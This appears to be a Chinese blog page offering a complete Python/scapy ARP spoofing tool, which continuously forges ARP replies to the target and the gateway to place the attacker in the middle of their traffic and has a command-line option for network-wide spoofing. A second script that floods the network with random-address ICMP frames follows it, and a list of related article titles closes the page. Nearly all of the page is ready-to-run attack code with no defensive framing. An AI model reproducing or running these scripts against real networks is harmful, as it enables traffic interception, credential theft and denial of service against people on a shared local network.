arp攻击 python_python之arp攻击
----------------------------------------看到上面的代码,你笑了吗?--------------------------------------------------------------------------------------------
好了,不胡闹了。
正点来了:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
'''
ARP 攻击脚本
'''
import argparse
import threading
import time
from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip
# 注意这里面的几个方法
# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包
# getmacbyip方法用于通过ip获取mac地址
# get_if_hwaddr方法获取指定网卡的mac地址
def get_mac(tgt_ip):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活"%tgt_ip)
def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
'''
生成ARP数据包,伪造网关欺骗目标计算机
src_mac:本机的MAC地址,充当中间人
tgt_mac:目标计算机的MAC
gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgt_ip:目标计算机的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=src_mac, dst=tgt_mac)
arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
pkt = eth / arp
return pkt
def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
'''
生成ARP数据包,伪造目标计算机欺骗网关
src_mac:本机的MAC地址,充当中间人
gateway_mac:网关的MAC
tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gateway_ip:网关的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=src_mac, dst=gateway_mac)
arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
pkt = eth / arp
return pkt
def main():
"""
主方法
"""
description = "ARP攻击脚本"
parser = argparse.ArgumentParser(description=description)
parser.add_argument('-sm', dest='srcmac', type=str, help='发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址')
parser.add_argument('-t', dest='targetip', type=str, help='指定目标计算机IP', required=True)
parser.add_argument('-tm', dest='targetmac', type=str, help='指定目标计算机MAC,如果不提供,默认将根据其IP获取MAC地址')
parser.add_argument('-g', dest='gatewayip', type=str, help='指定网关IP', required=True)
parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定网关MAC,如果不提供,默认将根据其IP获取MAC地址')
parser.add_argument('-i', dest='interface', type=str, help='指定使用的网卡', required=True)
parser.add_argument('-a', dest='allarp', action='store_true', help='是否进行全网arp欺骗')
args = parser.parse_args()
tgt_ip = args.targetip
gateway_ip = args.gatewayip
interface = args.interface
srcmac = args.srcmac
targetmac = args.targetmac
gatewaymac = args.gatewaymac
if tgt_ip is None or gateway_ip is None or interface is None:
print(parser.print_help())
exit(0)
src_mac = srcmac
if src_mac is None:
src_mac = get_if_hwaddr(interface)
print('本机MAC地址是:', src_mac)
print("目标计算机IP地址是:", tgt_ip)
tgt_mac = targetmac
if tgt_mac is None:
tgt_mac = get_mac(tgt_ip)
print("目标计算机MAC地址是:", tgt_mac)
print("网关IP地址是:", gateway_ip)
gateway_mac = gatewaymac
if gateway_mac is None:
gateway_mac = get_mac(gateway_ip)
print("网关MAC地址是:", gateway_mac)
input('按任意键继续:')
pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)
# 如果不展示发送情况的话下面的语句可以更加简便直接用sendp方法提供的功能循环发送即可,不需要多线程和死循环。
# sendp(pkt_station, inter=1, loop=1)
# sendp(pkt_gateway, inter=1, loop=1)
i = 1
while True:
t = threading.Thread(
target=sendp,
args=(pkt_station,),
kwargs={'inter':1, 'iface':interface}
)
t.start()
t.join()
print(str(i) + "
发送一个计算机ARP欺骗包")
s = threading.Thread(
target=sendp,
args=(pkt_gateway,),
kwargs={'inter':1, 'iface':interface}
)
s.start()
s.join()
print(str(i) + "
发送一个网关ARP欺骗包")
i += 1
time.sleep(1)
if __name__ == '__main__':
main()
———————————————————————————无耻分界线———————————————————————
最后,给大家来段洪水攻击————代码啦
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=1:
iface=sys.argv[1]
while True:
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
arp攻击 python_python之arp攻击相关推荐
- 解析中间人攻击(1/4)---ARP缓存中毒
本系列将讨论最常被使用的中间人攻击形式,包括ARP缓存中毒攻击(ARP Cache Poisoning).DNS欺骗(DNS Spoofing).HTTP会话劫持等. 导言 用于攻击个人以及企业的最常 ...
- python发送arp报文_python发送arp欺骗攻击代码分析
代码如下: # -*- coding: cp936 -*- from scapy.all import * from threading import Thread,Lock,activeCount ...
- 局域网arp攻击_图解ARP协议(三)ARP防御篇-如何揪出“内鬼”并“优雅的还手”...
一.ARP防御概述 通过之前的文章,我们已经了解了ARP攻击的危害,黑客采用ARP软件进行扫描并发送欺骗应答,同处一个局域网的普通用户就可能遭受断网攻击.流量被限.账号被窃的危险.由于攻击门槛非常低, ...
- ARP-attrack ARP内网毒化/欺骗攻击
文章目录 ARP-ATTACK 原理 ARP 介绍 要素/媒介 工作原理 RARP ARP欺骗 实战分析 环境 断网攻击过程 欺骗攻击过程 毒化欺骗监听图片访问 其他 ARP攻击基础代码实现 如何防治 ...
- 网络-ARP协议详解与ARP欺骗(中毒)攻击实战
目录 简介 ARP报文 ARP流程 四种情况 ARP请求 ARP响应 ARP攻击原理 实战 ARP欺骗 环境 查看arp表 更新攻击机软件 使用ettercap进行攻击 查看劫持到的图片 ARP攻击防 ...
- ARP工作原理以及ARP欺骗、中间人攻击
目录 什么是ARP?ARP的作用是什么? ARP的工作原理? ARP欺骗? ARP欺骗.中间人攻击实验? 什么是ARP?ARP的作用是什么? ARP即地址解析协议,属于网络层,作用是根据已知的IP地址 ...
- ARP攻击以及伪造ARP响应 实操
ARP攻击原理 一般情况,arp攻击得到主要目的是使网络无法正常通信,主要包括一下两种行为. 1.攻击主机制造假的arp应答,并发送给局域网中除被攻击之外的所有主机.arp应答中包含被 攻击主机的IP ...
- gratuitous arp和普通arp报文格式区别_ARP攻击和防御
前言 在看这篇文章之前,请大家先看下交换机的工作原理,不知大家有没有想过数据链路层中头部协议数据帧的目的MAC地址是如何获取的呢?这就是今天的主角ARP协议,通过广播来获取IP地址对应的MAC地址. ...
- TCP/IP攻击实验(ARP,ICMP,SYN,RST,TCP会话劫持)
一.实验背景 由于TCP/IP协议是Internet的基础协议,从开始设计的时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击,尤其DDOS,我们将 ...
最新文章
- python和idl_有前辈对比过IDL和Python的速度吗,哪个会快点?
- 5G NGC — AUSF 鉴权服务功能
- aspose.cells html excel导出,C#使用Aspose.Cells导出Excel简单实现
- JavaScript实现prim普里姆算法(附完整源码)
- vue+node实现中间层同步调用接口
- ffmpeg和SDL学习笔记
- MFC空间几何变换之图像平移、镜像、旋转、缩放
- Dede 删除文档同时文章中的图片的方法
- TTYL的完整形式是什么?
- DENIED Redis is running in protected mode because protected mode is enabled
- 华为Mate 30 Lite曝光:搭载麒麟810+20W快充
- 适合千万数据查询分页操作的一个通用存储过程
- batocera游戏整合包_安装游戏时电脑报错?提示XXX文件缺失?一个软件完美解决...
- 解密利用梦网漏洞狂刷QQ币方法附工具
- EDG夺冠刷屏背后,是正在发力的B站直播
- 你还在被触摸事件困扰吗?看看这篇吧
- php ziparchive 损坏,通过ZipArchive php获取损坏或空拉链
- 关于JVM中Eden区、Survivor from区和Survivor to区的理解
- 什么才是真正的云主机?辨别真假云主机
- 绘制cox生存分析结果的森林图
热门文章
- 1 计算机组成原理第一章 计算机系统概述 计算机发展历程、层次结构、性能指标
- 16 操作系统第四章 文件管理 文件的基本操作 文件共享 文件保护 文件系统的层次结构
- 12 操作系统第三章 内存管理 非连续分配管理方式 基本分页存储管理 基本分段存储管理 段页式存储管理
- WCF系列(一)BasicHttpBinding 和 WsHttpBinding 的不同点
- python3 应用 nose_parameterized 实现unittest 参数化
- 关于TCP/IP协议及网络通信相关问题
- 前端开发神器 vscode 常用快捷键
- lvalue-xvalue-prvalue
- [Mac]Python 安装MySQLdb模块
- OSI、TCP/IP or Five-layer(Protocols Use) Model